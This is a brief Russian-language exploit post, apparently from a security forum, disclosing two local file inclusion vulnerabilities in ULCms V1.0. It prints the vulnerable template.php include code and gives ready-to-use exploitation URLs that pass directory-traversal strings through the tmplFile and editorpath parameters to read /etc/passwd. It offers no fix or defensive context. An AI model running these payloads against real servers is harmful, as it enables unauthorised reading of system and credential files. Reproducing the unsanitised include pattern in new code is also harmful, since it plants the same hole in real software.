ULCms

[Atra Pluvia]

ULCms V1.0
Download: http://code.google.com/p/ulcms/

LFI(rg==on):

Уязвимый файл:
./template/template.php

Код:

PHP код:

<?php
if ( !isset($tmplFile) ) {
    $templateFile = BASE.$templateDir.$settingInfo['backEndTemplateName']."/".PHP_SCRIPT."";
} else {
        $templateFile = BASE.$templateDir.$settingInfo['backEndTemplateName']."/".$tmplFile;    
}
//debugVar($templateFile);
if ( !file_exists($templateFile) ) {
    die("Module files: $templateFile not existedЈЎ<br>Session halted.");
} else {
    include_once($templateFile);
}
?>

Эксплуатация:
./template/template.php?tmplFile=../../../../../../../../../etc/passwd

LFI(rg==on):

Уязвимый файл:
./template/admin/article.php

Эксплуатация:
./template/admin/article.php?editorpath=../../../../../../../../../../../../../../../etc/passwd